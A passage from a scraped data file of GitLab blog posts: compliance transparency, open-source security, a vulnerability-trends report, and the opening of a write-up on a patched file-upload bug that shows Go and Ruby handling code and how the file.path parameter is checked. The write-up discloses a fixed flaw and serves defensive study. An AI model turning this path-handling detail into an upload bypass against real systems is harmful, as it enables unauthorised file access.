up to speed on internal processes and procedures.\n\n## What does our approach to compliance look like?\n\nAt GitLab, we value transparency so much so that everything we do as a company is [public by default](https://handbook.gitlab.com/handbook/values/#public-by-default). If the need arises for information to be kept private, we have a policy in place which requires GitLab team members to provide justification within our (public) handbook as to why specific information can not be made public.\n\nSpecific to compliance, [handbook pages](/handbook/security/security-assurance/security-compliance/sec-controls.html#list-of-controls-by-family) detail the implemented controls that exist in our environment, including the scope that each control covers, the groups and/or process owners for each control, and even how we’ve mapped these controls to various industry standard compliance frameworks (e.g. ISO, PCI, SOC 2, etc.). Our handbook is the central repository for how we run the company. The change history for any update made to the handbook is available publicly. This means that the wider GitLab community is able to hold us accountable for what we say we do, and how we do it. Our handbook is geared for **self-serve** consumption: readers gain visibility into and understanding of how processes are executed and any nuances that should be considered.\n\nThis same self-serve approach applies to compliance and undergoing an audit, where we aim to enable an auditor to self-serve as much information about our processes and procedures as possible. In this case, we save the time control and process owners would have spent walking an auditor through how these processes are executed internally.\n\nBeyond decreasing the audit workload of control and process owners, transparency earns more frequent feedback and contributions from people outside the company.\n\nThis enables us to collaborate with our valued customers and partners and deepens the industry and community understanding of our business, culture and [values](https://handbook.gitlab.com/handbook/values/#why-have-values). Furthermore, we experience the added benefit of recruiting people who share our values.\n\n## How did our transparent culture impact our first SOC 2 Type 1 audit?\n\nAlmost all information about GitLab and the work that we perform day-to-day is available publicly (with the exception of any data that is considered [not public by default](/handbook/communication/confidentiality-levels/#not-public)). This opens a door that allows external auditors to do more digging and potentially ask questions that we might not be prepared for.\n\nKnowing this helped us know where and when to push back on our auditor to understand how their questions related back to a specific audit requirement.\n\nWe’re happy to say our transparent culture had an overall positive impact on our very first SOC 2 audit. As someone who has operated in an external audit capacity, I would have loved to have been able to perform an external audit over a company that had as much publicly facing documentation as GitLab! **Being transparent about everything we do as a company provided a lot of value during our SOC 2 audit in multiple ways:**\n\n* **Time savings:** In a traditional audit, an auditor schedules meetings with various process owners to walk through how internal processes relevant for an audit (such as change management) are executed. Here at GitLab, these procedures are documented publicly, so our auditor was able to read about these processes and provide more specific follow-up questions which ultimately resulted in team members being able to spend more time performing their day-to-day responsibilities instead of spending time interacting with our auditor.\n* **Understanding documentation gaps:** Based on the deeper follow-up questions asked by our auditor, we were able to identify gaps in our documentation around processes being executed, but without sufficient documentation in the handbook. This gave us an opportunity to improve our documentation and potentially gain time savings in future audit cycles.\n* **Reduced scope creep:** Given the amount of information that is available in our handbook, this may seem counterintuitive. However, because the GitLab architecture is published in our handbook, it helped to clearly define the scope of our SOC 2 audit and helped take the guesswork out of which technology should be subject to audit procedures.\n\nWhile there were many valuable takeaways stemming from our transparency, we also quickly learned that the documentation in our handbook could lead an auditor to preliminary conclusions because processes weren’t fully documented. We didn’t see this as a negative impact, but more as an area for improvement and iteration to further refine our handbook documentation. So, again, the outcome of a deeper understanding of the documentation gaps that existed in our handbook is truly valuable and one we’re already working to address. Here are some merge requests that have been opened as a result of our first SOC 2 Type 1 audit:\n\n* [Revising our Data Classification Policies for more clarity](https://gitlab.com/gitlab-com/www-gitlab-com/-/merge_requests/44763/diffs#c5b510796a694dd7bee07591c5baed6b97c18ce4)\n* [GitLab Control Framework (“GCF”) revisions to align controls to SOC 2 Criteria and clean-up control language for clarity](https://gitlab.com/gitlab-com/www-gitlab-com/-/merge_requests/44987)\n\n## How do you find the middle ground between transparency and compliance?\n\nTo put it plainly, there is no middle ground.\n\nCompliance is a key function of all organizations. These efforts ensure that the organization and its personnel are adhering to various regulatory obligations by working cross-functionally to implement policies and procedures to meet these requirements. Transparency is actually a powerful compliance driver because it means the wider GitLab community can hold the company accountable for the processes that we put into place and how we carry them out.\n\nBeing transparent *inherently* helps minimize the scope of an audit because it allows us to be specific and detailed about how we operate as a company. We have moved away from a traditional audit model where process owners sit in a meeting with an auditor and spend hours talking. Instead, through our handbook,  the documentation exists in a state that allows someone to pick it up and understand how to execute specific processes and procedures so that there is no guesswork involved. Processes and procedures aren’t left open to interpretation because that would reduce the ability for GitLab team members to \"self-serve\" information. We believe these same benefits extend to deeper understanding and clearer scope definition on the part of an audit team.\n\n## What’s next?\n\nAs a result of our first audit cycle, we have identified areas where we can iterate on our documentation to make it clearer and more concise. We’ll be working to get our handbook up to snuff while continuing to ready ourselves for an SOC 2 Type 2 audit. We are excited to continue exercising our value of transparency to further improve audit efficiency from audit to audit!\n\nBetween revising our documentation to be more clear and concise and preparing for our SOC 2 Type 2 audit, we have also performed a Cloud Security Alliance (CSA) CAIQ v3.1 self-assessment. We chose to perform this self-assessment partly for transparency and partly to provide the broader GitLab community with additional assurance over the maturation of the Security Compliance Program at GitLab. The self-assessment is [available directly on the CSA website](https://cloudsecurityalliance.org/star/registry/gitlab/).\n\n* Interested in learning more about GitLab's Security Certifications and Attestations? Visit our [Security Certifications and Attestations handbook page](/handbook/security/security-assurance/security-compliance/certifications.html) to learn more.\n* **Do you require a copy of GitLab’s SOC 2 report?** See how [potential and existing customers can request this report](/handbook/security/security-assurance/security-compliance/certifications.html#requesting-a-copy-of-the-gitlab-soc2-type-2-report).\n\n\n\nCover image by [Maarten van den Heuvel](https://unsplash.com/@mvdheuvel?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[675,14],{"slug":4568,"featured":6,"template":677},"benefits-of-transparency-in-compliance","content:en-us:blog:benefits-of-transparency-in-compliance.yml","Benefits Of Transparency In Compliance","en-us/blog/benefits-of-transparency-in-compliance.yml","en-us/blog/benefits-of-transparency-in-compliance",{"_path":4574,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4575,"content":4581,"config":4586,"_id":4588,"_type":16,"title":4589,"_source":17,"_file":4590,"_stem":4591,"_extension":20},"/en-us/blog/open-source-security",{"title":4576,"description":4577,"ogTitle":4576,"ogDescription":4577,"noIndex":6,"ogImage":4578,"ogUrl":4579,"ogSiteName":767,"ogType":768,"canonicalUrls":4579,"schema":4580},"How we manage open source security software","Open source software presents unique security challenges. Here’s what you need to know.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681227/Blog/Hero%20Images/opensourcesecurity.jpg","https://about.gitlab.com/blog/open-source-security","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we manage open source security software\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Loveless\"}],\n        \"datePublished\": \"2020-04-10\",\n      }",{"title":4576,"description":4577,"authors":4582,"heroImage":4578,"date":4583,"body":4584,"category":14,"tags":4585},[1909],"2020-04-10","\n\n_In February 2020, Harvard University and the Linux Foundation’s Core Infrastructure Initiative released a joint report, [Vulnerabilities in the Core](https://www.hbs.edu/news/releases/Pages/census-open-source-software-security.aspx), looking at security challenges in the open source software world. Open source software has [taken over the world](https://techcrunch.com/2019/01/12/how-open-source-software-took-over-the-world/), but with its astronomical popularity comes the potential for huge risk. We thought this was an excellent opportunity to ask senior security engineer [Mark Loveless](/company/team/#mloveless) for his thoughts on open source security, how GitLab approaches it, and some ways you can move the bar forward in your company._\n\nI was quite pleased that an institution like Harvard would be taking a hard look at open source software. Security is often difficult for people to understand how much it impacts real lives. Nerd types (the InfoSec community) try to communicate to the \"normals\" to explain to them why they need to care about security. Granted, this barely tracks on the radar of many people in our own field, as some of the Infosec community think they already know it.\n\n## Inside our security plan\n\nWe have dedicated people at GitLab looking at our own code, trying to find security flaws. We have a group that deals with bug submissions coming in from Hacker One. But we also have people at GitLab looking for security flaws in various open source packages that are a part of the \"supply chain\". These outside packages may be used in the GitLab product. When one of these packages has a flaw in it, there can be impact to both open source projects like ours, as well as closed source projects. It may be surprising to learn that a lot of closed source projects use open source libraries.\n\nUsing an open source library to complete a coding project is not uncommon and in fact highly encouraged. For example, reading through the Internet standards for protocol implementation of HTTPS could not only be daunting, but coding it without the experience of writing security-related code is ill-advised unless you are an expert in the field. Including a security-related open source library in your project can solve that issue. But speaking of something as complex as HTTPS, for example, brings up another problem - implementation.\n\n## The implementation issue\n\nA flaw is found in an open source package. Hundreds of applications are using the open source package with the vulnerability, yet only half of these applications are exploitable via the flaw. Why? A lot of times it comes down to implementation.\n\nWhen given a choice between one setting versus another, there are ramifications to consider when deciding which might make the most secure implementation. These choices have consequences. One choice could impact performance - especially at scale. Another choice could leave things more vulnerable. There are compliance issues to consider. All of these items need to be weighed carefully.\n\nIt’s a core thing at GitLab to be sure that we implement things in ways that are more secure. I’ve worked at numerous software vendors over the years and GitLab is one of the largest. Most organizations of this size do not release code nearly as often as we do, and most do not take security as seriously. When I started working here, I was pleasantly surprised at how much security was part of the process.\n\n## Trust the transparency\n\nWe’re not only a [transparent company](https://handbook.gitlab.com/handbook/values/#transparency), we’re an open core company. This means that the core part of our product is open source and free to download and use, while we have a number of paid options for increased features and services. This applies to everything in our company and is an added benefit when it comes to security. We’re very open about disclosing security problems. For example, when a bug affects our open source code any future code commit to fixing the problem also shows the vulnerability. At some of my other employers there were often discussions about the \"exposure\" of the company when revealing a vulnerability, and a pull between departments about how much to disclose. Sometimes those disclosure discussions turned political. At GitLab that problem is eliminated as we’ve made the commitment to completely disclose the issue. We’ve even extended this to the parts of our offerings that are not a part of that core product. It is in the best interest of our users to have complete information about the security of GitLab.\n\n## The role DevSecOps plays\n\nWhen it comes to writing code, bugs - security-related or not - are the nature of the beast. The trick is to expect it and plan for it. Here at GitLab we’re doing the DevSecOps thing: extraordinarily rapid development while retaining a [focus on security](/solutions/security-compliance/). There is a tendency here for our engineers to take the time and do things right. Bugs can impact performance and availability and security bugs are no different. This is why GitLab works so hard on delivering code that is as clean and secure as possible. When we manage to do that it’s a win/win. When bugs do occur, we have developed processes to deal with them which includes updates to our development processes if necessary to help improve the entire process.\n\n## Game on\n\nIf you’re trying to up your open source security game you already know it’s a constant work in progress. We encourage open source as much as possible! Open source or not, here are a few things that we’ve done at GitLab that apply to security:\n\n- You have to have security people involved in the company. Any security team needs to have people who have the capacity to analyze and handle flaws in code, whether the code is internal or external.\n- The security people need to be on staff. They need to have the freedom to do their jobs.\n- Upper management has to buy into security. If security is top of mind for upper management it will be easier to get things done at the department level.\n- **Lose the culture of shame and punishment for security problems.** It exists in lots of places and it’s why people start trying to hide bugs. There should not be a carrot and a stick involved in security.\n- Make security something that’s muscle memory and you’ll be golden.\n\n\nCover image by [Wolfgang Hasselmann](https://unsplash.com/@wolfgang_hasselmann) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[958,14,1212],{"slug":4587,"featured":6,"template":677},"open-source-security","content:en-us:blog:open-source-security.yml","Open Source Security","en-us/blog/open-source-security.yml","en-us/blog/open-source-security",{"_path":4593,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4594,"content":4600,"config":4605,"_id":4607,"_type":16,"title":4608,"_source":17,"_file":4609,"_stem":4610,"_extension":20},"/en-us/blog/security-trends-in-gitlab-hosted-projects",{"title":4595,"description":4596,"ogTitle":4595,"ogDescription":4596,"noIndex":6,"ogImage":4597,"ogUrl":4598,"ogSiteName":767,"ogType":768,"canonicalUrls":4598,"schema":4599},"Top 6 security trends in GitLab-hosted projects","Using components with known vulnerabilities is the most common security problem in GitLab.com-hosted projects.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663502/Blog/Hero%20Images/paperclips.jpg","https://about.gitlab.com/blog/security-trends-in-gitlab-hosted-projects","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Top 6 security trends in GitLab-hosted projects\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Wayne Haber\"}],\n        \"datePublished\": \"2020-04-02\",\n      }",{"title":4595,"description":4596,"authors":4601,"heroImage":4597,"date":4602,"body":4603,"category":14,"tags":4604},[3830],"2020-04-02","\nIn our first security trends report, we discovered six vulnerabilities that occurred in 5% or more of GitLab-hosted projects over the past six months. This is our first security trends report, which we intend to release with the latest trends twice a year.\n\nGitLab is unique: We have a solution for the entire DevSecOps lifecycle and we host thousands of different projects on GitLab.com. This allows us to compute trends in vulnerabilities across many different factors.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/y1_2kNc15ZE\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Data sources\n\nThe underlying data for the trends report is sourced from projects hosted on GitLab.com, and does not include data from our self-managed customers. It includes vulnerability types appearing in 5% or more of projects between September 2019 and February 2020.  All project-specific data has been anonymized.\n\nWe sourced security trend data from six sources:\n\n- [Static application security testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/): Scan the source code\n- [Dynamic application security testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/): Scan running web applications\n- [Dependency scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/): Scan package dependencies during the CI/CD process\n- [Container scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning): Scan in use Docker images for known vulnerabilities\n- [Secret detection](https://docs.gitlab.com/ee/user/application_security/sast/#secret-detection): Scan source code for secrets (such as passwords, keys, and tokens)\n- Scan results imported from third party tools, such as [WhiteSource](/blog/whitesource-gitlab-security-integration/)\n\nAll of the data was discovered by GitLab components that shift the security risks to the left. The issues were identified during the [CI/CD process](/topics/ci-cd/), prior to the applications and containers deploying to production environments.\n\nSecurity vulnerabilities are managed by users via the [security dashboard](https://docs.gitlab.com/ee/user/application_security/#interacting-with-the-vulnerabilities).\n\nulnerability types\n\nThe following vulnerability types appeared in 5% or more of GitLab.com-hosted projects:\n\n| Vulnerability type | Current rank | % of projects | Change in rank from 6 months ago | % change from 6 months ago |\n|---|---|---|---|---|\n| Component with known vulnerabilities | 1 | 52% | No change |  +6% |\n| Cross-site scripting (XSS) | 2 |  21% |  No change |  +20% |\n| Lack of secret management | 3 |  18% |  No change |  +6% |\n| Content security protection (CSP) | 4 |  8% |  Up 3 |  +192% |\n| Cross-site request forgery (CSRF) | 5 |   6% |  Down 1 |  -30% |\n| SQL injection (SQLi) | 6 |  6% |  Down 1 |  -15% |\n\n## Vulnerability scanning trends\n\nIn the last six months:\n\n- GitLab users have increased vulnerability scanning of projects by 161%\n- Total vulnerabilities detected per month have increased by 73%\n\n![Graph of vulnerability trends from GitLab-hosted projects in the past six months.](https://about.gitlab.com/images/blogimages/security_trends_april_2020/vulnerability_trends.png \"Vulnerability Trends\")\n\nVulnerability trends from GitLab-hosted projects in the past six months.\n{: .note.text-center}\n\n## Trends for specific vulnerability types\n\n### 1. Components with known vulnerabilities\n\nWe detected use of components with known vulnerabilities in 52% of the projects scanned, making it the number one type of vulnerability in GitLab.com-hosted projects. The percent of projects using components with known vulnerabilities increased by 6% in the last six months.\n\n![Graph showing an increase in components with known vulnerabilities in GitLab.com-hosted projects](https://about.gitlab.com/images/blogimages/security_trends_april_2020/components_with_known_vulnerabilities.png \"Components with known vulnerabilities\")\n\nThere was an increase in projects using components with known vulnerabilities in GitLab.com-hosted projects in the past six months.\n{: .note.text-center}\n\n* `Project_Percentage`: Percent of projects with a vulnerability of this type seen per month\n* `Project_Percentage Average`: Rolling average of the `Project_Percentage`\n\nBest practices for reducing use of [components with known vulnerabilities](https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A9-Using_Components_with_Known_Vulnerabilities) include:\n* During the build process, pull the latest packages whenever possible or feasible.\n* Recursively [scan package dependencies](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) and prioritize updates based on risk.\n* [Scan containers](https://docs.gitlab.com/ee/user/application_security/container_scanning/) for known vulnerabilities and patch as possible or feasible.\n\n### 2. Cross-site scripting (XSS)\n\nWe detected cross-site scripting (XSS) in 21% of the projects scanned. The percent of projects containing XSS vulnerabilities increased by 20% in the last six months.\n\n![Graph showing XSS trends vulnerabilities grew by 20% in the past six months.](https://about.gitlab.com/images/blogimages/security_trends_april_2020/xss.png \"XSS Trends\")\n\nXSS vulnerabilities grew by 20% in the past six months.\n{: .note.text-center}\n\nXSS vulnerabilities allow malicious code to be inserted into a web browser's session, often allowing for a complete takeover of a web application. The malicious code can be inserted when a user clicks on a malicious link, or if malicious code is sent to an application, stored, then displayed in the user's web browser.\n\nBest practices for protecting against [XSS vulnerabilities](https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A7-Cross-Site_Scripting_(XSS)) include:\n\n- Identify and scan all web applications for cross-site scripting vulnerabilities with [DAST](https://docs.gitlab.com/ee/user/application_security/dast/) and [SAST](https://docs.gitlab.com/ee/user/application_security/sast/). However, don’t assume that dynamically discovered XSS is the only attack vector – you should track stored XSS as well.\n- Educate developers on the risks of XSS. Some common misperceptions among developers are that XSS is low-risk and that applications that are not accessible through the internet are not at risk for XSS.\n- Use frameworks that automatically mitigate XSS by design.\n- Assume stored data that will be displayed in web applications is untrusted, and escape all HTML as appropriate to mitigate risks from stored XSS.\n- Apply context-sensitive coding when modifying the browser document on the client side.\n- Enable CSP (content security policy) to help detect and mitigate attacks such as XSS.\n\n### 3. Lack of secret management\n\nThe third most common vulnerability we identified was inadequate secret management. Of the projects we scanned, 18% lacked adequate secret management. The percent of projects with secret management vulnerabilities increased by 6% in the last six months.\n\n![A graph showing a 6% increase in projects with secret management vulnerabilities](https://about.gitlab.com/images/blogimages/security_trends_april_2020/secret_management.png \"Secret management trends\")\n\nThere was a small increase in the number of projects lacking secret management over the past six months.\n{: .note.text-center}\n\nApplications need secrets to operate (authenticate to data stores, services, etc.). It is easy for developers to make the secrets readily accessible, however not following secret management best practices can cause significant vulnerabilities for the application.\n\nBest practices for secret management include:\n\n- Educate developers on why storing secrets in repositories, intentionally or unintentionally, is ill-advised.\n- Educate developers on how to safely store and retrieve secrets in critical environments.\n- [Scan your repositories for keys, tokens, and hardcoded passwords](https://docs.gitlab.com/ee/user/application_security/sast/#secret-detection).\n\n### 4. Content security protection (CSP)\n\nA lack of content security protection (CSP) is now the fourth most common type of vulnerability, increasing from the seventh ranking six months ago. Lack of CSP-based protection was detected in 8% of the projects scanned. The percent of projects where CSP protections were not found increased by 192% in the last six months.\n\n![There was a huge spike in CSP trends over the past six months on GitLab.com hosted projects](https://about.gitlab.com/images/blogimages/security_trends_april_2020/csp.png \"CSP trends\")\n\nThere was a huge spike in CSP trends over the past six months on GitLab.com hosted projects.\n{: .note.text-center}\n\nCSP adds a layer to detect and mitigate attacks, including XSS. It can be very challenging to prevent all attacks such as XSS, and CSP allows in-browser detection of successful attacks.\n\nBest practices for implementing CSP include:\n\n- Implement [CSP](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) protection on all web applications, including applications not exposed to the internet.\n- Run [DAST](https://docs.gitlab.com/ee/user/application_security/dast/) on all web applications.\n\n### 5. Cross-site request forgery (CSRF)\n\nWe detected [CSRF](https://owasp.org/www-community/attacks/csrf) in 6% of the projects scanned, making it the fifth most common vulnerability. The percent of projects with CSRF vulnerabilities has decreased by 30% in the last six months.\n\n![A graph showing a 30% decline in CSRF vulnerabilities on GitLab.com hosted projects over the past six months](https://about.gitlab.com/images/blogimages/security_trends_april_2020/csrf.png \"CSRF Trends\")\n\nCSRF vulnerabilities have been trending down in GitLab.com hosted projects over the past six months.\n{: .note.text-center}\n\nCSRF allows an attacker to execute malicious actions on a web application in use by a legitimate and authenticated user.\n\nBest practices for preventing CSRF:\n\n- Implement a CSRF token, which will not be known to the attacker.\n- Use the built-in features of most frameworks for CSRF protection.\n- Use the [same-site flag in cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie).\n- Run [DAST](https://docs.gitlab.com/ee/user/application_security/dast/) on all web applications.\n\n### 6. SQL Injection (SQLi)\n\nSQL Injection (SQLi) is the sixth most prevalent type of security vulnerability. SQLi was detected in 6% of the projects that were scanned, which is a 15% decrease from six months ago.\n\n![A graph showing a 15% decrease in SQLi over the past six months.](https://about.gitlab.com/images/blogimages/security_trends_april_2020/sqli.png \"SQLi trends\")\n\nThere has been a 15% decrease in SQLi over the past six months.\n{: .note.text-center}\n\n[SQL and other injection vulnerabilities](https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A1-Injection) occur when inputs from untrusted sources are improperly sanitized. This includes but is not limited to web user interfaces. Injection vulnerabilities allow an application to run malicious code.\n\nBest practices for SQLi protection include:\n\n* Sanitize all input only allowing acceptable data.\n* Use parameterized database queries (vs. dynamically built queries) whenever possible.\n* Use LIMIT and other similar controls to reduce the chances of unintended data disclosure.\n* Run [SAST](https://docs.gitlab.com/ee/user/application_security/sast/) and [DAST](https://docs.gitlab.com/ee/user/application_security/dast/) scans.\n\n## Routine evaluations keep your projects more secure\n\nDevelopers using GitLab are able to focus on providing value to their customers while also identifiying and mitigating security threats. Automating and prioritizing security helps to protect and defend your applications as well as improve the productivity and morale for development teams.\n\n## Tell us what you think of this blog\n\nWhat do you like about this blog post? What do you think should be improved or considered for the next one? Please provide any feedback you have in [this public issue](https://gitlab.com/gitlab-org/protect/general/-/issues/709).\n\nCover Photo by [Jackson Simmer](https://unsplash.com/@simmerdownjpg) on [Unsplash](https://unsplash.com/photos/Vqg809B-SrE)\n{: .note}\n",[14,1212],{"slug":4606,"featured":6,"template":677},"security-trends-in-gitlab-hosted-projects","content:en-us:blog:security-trends-in-gitlab-hosted-projects.yml","Security Trends In Gitlab Hosted Projects","en-us/blog/security-trends-in-gitlab-hosted-projects.yml","en-us/blog/security-trends-in-gitlab-hosted-projects",{"_path":4612,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4613,"content":4618,"config":4623,"_id":4625,"_type":16,"title":4626,"_source":17,"_file":4627,"_stem":4628,"_extension":20},"/en-us/blog/how-to-exploit-parser-differentials",{"title":4614,"description":4615,"ogTitle":4614,"ogDescription":4615,"noIndex":6,"ogImage":2955,"ogUrl":4616,"ogSiteName":767,"ogType":768,"canonicalUrls":4616,"schema":4617},"How to exploit parser differentials","Your guide to abusing 'language barriers' between web components.","https://about.gitlab.com/blog/how-to-exploit-parser-differentials","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to exploit parser differentials\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joern Schneeweisz\"}],\n        \"datePublished\": \"2020-03-30\",\n      }",{"title":4614,"description":4615,"authors":4619,"heroImage":2955,"date":4620,"body":4621,"category":14,"tags":4622},[2960],"2020-03-30","\n\nThe move to microservices-based architecture creates more attack surface for nefarious actors, so when our [security researchers](/handbook/security/#security-research) discovered a file upload vulnerability within GitLab, we patched it right up in our [GitLab 12.7.4 security release](/releases/2020/01/30/security-release-gitlab-12-7-4-released/). We dive deeper into the problems that lead to this vulnerability and use it to illustrate the underlying concept of parser differentials.\n\n## File Uploads in GitLab\n\nTo understand the file upload vulnerability we need to go a bit deeper into file uploads within GitLab, and have a look at the involved components.\n\n### GitLab Workhorse\n\nThe first relevant component is GitLab's very own reverse proxy called [`gitlab-workhorse`](https://gitlab.com/gitlab-org/gitlab-workhorse/).`gitlab-workhorse` fulfills a variety of tasks, but for this specific example we only care about certain kinds of file uploads.\n\nThe second component is [`gitlab-rails`](https://gitlab.com/gitlab-org/gitlab), the Ruby on Rails-based heart of GitLab. It's the main application part of GitLab and implements most of the business logic.\n\nThe following source code excerpts from `gitlab-workhorse` are based on the [`8.18.0`](https://gitlab.com/gitlab-org/gitlab-workhorse/-/tags/v8.18.0) release which was the most recent version at the time of identifying the vulnerability.\n\nConsider the following route, defined in [`internal/upstream/routes.go`](https://gitlab.com/gitlab-org/gitlab-workhorse/-/blob/9a9a83e7f92ceea5fb0e1542d604171c58615e28/internal/upstream/routes.go#L207-208), which handles file uploads for [Conan](https://conan.io/) packages:\n\n```go\n// Conan Artifact Repository\nroute(\"PUT\", apiPattern+`v4/packages/conan/`, filestore.BodyUploader(api, proxy, nil)),\n```\n\nThe route defined above will pass any `PUT` request to paths underneath `/api/v4/packages/conan/` to the [`BodyUploader`](https://gitlab.com/gitlab-org/gitlab-workhorse/-/blob/9a9a83e7f92ceea5fb0e1542d604171c58615e28/internal/filestore/body_uploader.go#L40-79). Within this `BodyUploader` now some magic happens. Well, actually, it's not magic, the `BodyUploader` receives the uploaded file and lets the `gitlab-rails` backend know where the file has been placed. This happens in [`internal/filestore/file_handler.go`](https://gitlab.com/gitlab-org/gitlab-workhorse/-/blob/9a9a83e7f92ceea5fb0e1542d604171c58615e28/internal/filestore/file_handler.go#L52-81).\n\nAlso worth mentioning: Any not-matched routes in `gitlab-workhorse` will be passed on to the backend without modification. That's especially important in our discussion for non-`PUT` routes under `/api/v4/packages/conan/`.\n\n```go\n// GitLabFinalizeFields returns a map with all the fields GitLab Rails needs in order to finalize the upload.\nfunc (fh *FileHandler) GitLabFinalizeFields(prefix string) map[string]string {\n\tdata := make(map[string]string)\n\tkey := func(field string) string {\n\t\tif prefix == \"\" {\n\t\t\treturn field\n\t\t}\n\n\t\treturn fmt.Sprintf(\"%s.%s\", prefix, field)\n\t}\n  \n\tif fh.Name != \"\" {\n\t\tdata[key(\"name\")] = fh.Name\n\t}\n\tif fh.LocalPath != \"\" {\n\t\tdata[key(\"path\")] = fh.LocalPath\n\t}\n\tif fh.RemoteURL != \"\" {\n\t\tdata[key(\"remote_url\")] = fh.RemoteURL\n\t}\n\tif fh.RemoteID != \"\" {\n\t\tdata[key(\"remote_id\")] = fh.RemoteID\n\t}\n\tdata[key(\"size\")] = strconv.FormatInt(fh.Size, 10)\n\tfor hashName, hash := range fh.hashes {\n\t\tdata[key(hashName)] = hash\n\t}\n  \n\treturn data\n}\n```\n\nSo `gitlab-workhorse` will replace the uploaded file name by the path to where it has stored the file on disk, such that the `gitlab-rails` backend knows where to pick it up.\n\nObserve the following original request, as received by `gitlab-workhorse`:\n\n```\nPUT /api/v4/packages/conan/v1/files/Hello/0.1/root+xxxxx/beta/0/export/conanfile.py HTTP/1.1\nHost: localhost\nUser-Agent: Conan/1.22.0 (Python 3.8.1) python-requests/2.22.0\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: close\nX-Checksum-Sha1: 93ebaf6e85e8edde99c1ed46eaa1b5e1e5f4ac78\nContent-Length: 1765\nAuthorization: Bearer [.. shortened ..]\n\nfrom conans import ConanFile, CMake, tools\n\n\nclass HelloConan(ConanFile):\n    name = \"Hello\"\n[.. shortened ..]\n```\n\nThis is what this request will look like to `gitlab-rails` after `gitlab-workhorse` has processed it (excerpted from `api_json.log`):\n\n```json\n{\n  \"time\": \"2020-02-20T14:49:44.738Z\",\n  \"severity\": \"INFO\",\n  \"duration\": 201.93,\n  \"db\": 67.34,\n  \"view\": 134.59,\n  \"status\": 200,\n  \"method\": \"PUT\",\n  \"path\": \"/api/v4/packages/conan/v1/files/Hello/0.1/root+xxxxx/beta/0/export/conanfile.py\",\n  \"params\": [\n    {\n      \"key\": \"file.md5\",\n      \"value\": \"719f0319f1fd5f6fcbc2433cc0008817\"\n    },\n    {\n      \"key\": \"file.path\",\n      \"value\": \"/var/opt/gitlab/gitlab-rails/shared/packages/tmp/uploads/582573467\"\n    },\n    {\n      \"key\": \"file.sha1\",\n      \"value\": \"93ebaf6e85e8edde99c1ed46eaa1b5e1e5f4ac78\"\n    },\n    {\n      \"key\": \"file.sha256\",\n      \"value\": \"f7059b223cd4d32002e5e34ab1ae5b4ea12f3bd0326589b00d5e910ce02c1f3a\"\n    },\n    {\n      \"key\": \"file.sha512\",\n      \"value\": \"efbe75ea58bd817d42fd9ca5ac556abd6fbe3236f66dfad81d508b5860252d32d1b1868ee03c7f4c6174a0ba6cc920a574b5865ca509f36c451113c9108f9a36\"\n    },\n    {\n      \"key\": \"file.size\",\n      \"value\": \"1765\"\n    }\n  ],\n  \"host\": \"localhost\",\n  \"remote_ip\": \"172.17.0.1, 127.0.0.1\",\n  \"ua\": \"Conan/1.22.0 (Python 3.8.1) python-requests/2.22.0\",\n  \"route\": \"/api/:version/packages/conan/v1/files/:package_name/:package_version/:package_username/:package_channel/:recipe_revision/export/:file_name\",\n  \"user_id\": 1,\n  \"username\": \"root\",\n  \"queue_duration\": 16.59,\n  \"correlation_id\": \"aSEqrgEfvX9\"\n}\n```\n\nIn particular, the `params` entry `file.path` is of interest, as it denotes the file system path where `gitlab-workhorse` has placed the uploaded file.\n\n### `gitlab-rails`\nThis `gitlab-workhorse`-modified request, as `gitlab-rails` will see it, is handled in [`lib/uploaded_file.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/v12.7.4-ee/lib/uploaded_file.rb#L45-66) within the `from_params` method:\n\n```ruby\n01  def self.from_params(params, field, upload_paths)\n02    path = params[\"#{field}.path\"]\n03    remote_id = params[\"#{field}.remote_id\"]\n04    return if path.blank? && remote_id.blank?\n05\n06    file_path = nil\n07    if path\n08      file_path = File.realpath(path)\n09\n10      paths = Array(upload_paths) \u003C\u003C Dir.tmpdir\n11      unless self.allowed_path?(file_path, paths.compact)\n12        raise InvalidPathError, \"insecure path used '#{file_path}'\"\n13      end\n14    end\n15\n16    UploadedFile.new(file_path,\n17      filename: params[\"#{field}.name\"],\n18      content_type: params[\"#{field}.type\"] || 'application/octet-stream',\n19      sha256: params[\"#{field}.sha256\"],\n20      remote_id: remote_id,\n21      size: params[\"#{field}.size\"])\n22  end\n```\nWe can see here the handling of the uploaded file reference. The part in line `10-13` in the snippet above implements a whitelist of a specific set of paths from where a `gitlab-workhorse` uploaded file will be accepted.`Dir.tmpdir` which resolves to the path `/tmp` is added to the whitelist as well. In the subsequent lines a new `UploadedFile` is constructed from the `file.path` and other parameters `gitlab-workhorse` has set.\n\n## `gitlab-workhorse` bypass\n\nSo we've seen the inner workings of both `gitlab-workhorse` and `gitlab-rails` when it comes to file uploads for Conan 